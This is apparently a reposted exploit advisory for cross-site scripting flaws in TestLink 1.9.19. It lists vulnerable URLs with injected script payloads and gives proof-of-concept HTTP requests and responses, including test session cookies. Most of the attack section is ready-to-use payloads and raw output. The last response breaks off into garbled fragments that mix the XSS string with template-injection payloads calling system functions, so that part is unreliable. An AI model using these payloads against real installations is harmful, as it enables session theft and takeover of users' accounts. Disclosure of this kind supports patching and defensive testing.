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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: TestLink 1.9.19 - Persistent Cross-Site Scripting
# Date: 2019-11-20
# Exploit Author: Milad Khoshdel
# Software Link: http://testlink.org/
# Version: TestLink 1.9.19
# Tested on: Linux Apache/2 PHP/7.3.11


=========
Vulnerable Pages:
=========

Persistent --> https://[TestLink-URL]/testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=%3cscRipt%3ealert(0x008B19)%3c%2fscRipt%3e&id=4&show_mode=show&version_id=3
Non-Persistent --> https://[TestLink-URL]/testlink/index.php?caller=login&reqURI=javascript%3aalert(0x002082)&viewer=3
Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&nsextt=%3cscRipt%3ealert(0x00A5CA)%3c%2fscRipt%3e&show_mode=editDisabled&step_id=
Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&%3cscRipt%3ealert(0x00A5CE)%3c%2fscRipt%3e=nsextt&show_mode=editDisabled
Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&show_mode=%3cscRipt%3ealert(0x00A54D)%3c%2fscRipt%3e&step_id=


=========
POC:
=========

REGUEST -->

GET /testlink/index.php?caller=login&reqURI=javascript%3aalert(0x002082)&viewer=3 HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TL_lastTestProjectForUserID_2=1; TESTLINK197TL_lastTestPlanForUserID_1=2; TESTLINK197TL_user2_proj1_testPlanId=2; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd
Referer: http://127.0.0.1/testlink/login.php?viewer=3
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36


RESPONSE -->

HTTP/1.1 200 OK
Server: Apache
Content-Length: 526
X-Powered-By: PHP/7.3.11
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=50
X-Frame-Options: SAMEORIGIN
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Encoding: 
Date: Wed, 20 Nov 2019 11:29:45 GMT
Vary: Cookie,Accept-Encoding
Cache-Control: no-store, no-cache, must-revalidate

<!DOCTYPE html>

<head>
 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
 <meta http-equiv="Content-language" content="en" />
 <meta name="generator" content="testlink" />
 <meta name="author" content="TestLink Development Team" />
 <meta name="copyright" content="TestLink Development Team" />
 <meta name="robots" content="NOFOLLOW" />
 <title>TestLink 1.9.19</title>
 <meta name="description" content="TestLink - TestLink ::: Main Page" />
 <link rel="icon" href="http://127.0.0.1/testlink/gui/themes/default/images/favicon.ico" type="image/x-icon" />
</head>


<frameset rows="70,*" frameborder="0" framespacing="0">
 <frame src="lib/general/navBar.php?tproject_id=0&tplan_id=0&updateMainPage=1" name="titlebar" scrolling="no" noresize="noresize" />
 <frame src="javascript:alert(0x002082)" scrolling='auto' name='mainframe' />
 <noframes>
  <body>
   TestLink required a frames supporting browser.
  </body>
 </noframes>
</frameset>


-------------------------------------------------

STEP 1 -->

[Request]
GET /testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=%3cscRipt%3ealert(0x008B19)%3c%2fscRipt%3e&id=4&show_mode=show&version_id=3 HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TESTLINK197ys-tproject_1_ext-comp-1001=a%3As%253A%2F1%2F3; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd; TESTLINK197TL_user2_proj1_testPlanId=2; TESTLINK197TL_lastTestPlanForUserID_1=2; TL_lastTestProjectForUserID_2=1
Referer: http://127.0.0.1/testlink/lib/testcases/tcEdit.php
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36


[Response]
HTTP/1.1 200 OK
Server: Apache
Content-Length: 0
X-Powered-By: PHP/7.3.11
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=47
X-Frame-Options: SAMEORIGIN
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Date: Wed, 20 Nov 2019 11:59:45 GMT
Vary: Cookie
Cache-Control: no-store, no-cache, must-revalidate

STEP 2 -->

[Request]
GET /testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=testcase&id=127.0.0.1/trace.axd&show_mode=show&version_id=3 HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TESTLINK197ys-tproject_1_ext-comp-1001=a%3As%253A%2F1%2F3; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd; TESTLINK197TL_user2_proj1_testPlanId=2; TL_lastTestProjectForUserID_2=1; TESTLINK197TL_lastTestPlanForUserID_1=2
Referer: http://127.0.0.1/testlink/lib/testcases/tcEdit.php
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36


[Response]
#Identification Page
HTTP/1.1 200 OK
Transfer-Encoding: chunked
Server: Apache
X-Powered-By: PHP/7.3.11
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=98
X-Frame-Options: SAMEORIGIN
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Encoding: 
Date: Wed, 20 Nov 2019 12:02:38 GMT
Vary: Cookie,Accept-Encoding
Cache-Control: no-store, no-cache, must-revalidate

ner_title_{php}Smarty_Resource::parseResourceName(system("ns,[container_title_<scRipt>alert(0x008B19)</scRipt>] => container_title_<scRipt>alert(0x008B19)</scRipt>,[container_title_{{_self.env.registerUndefinedFilterCallback("sys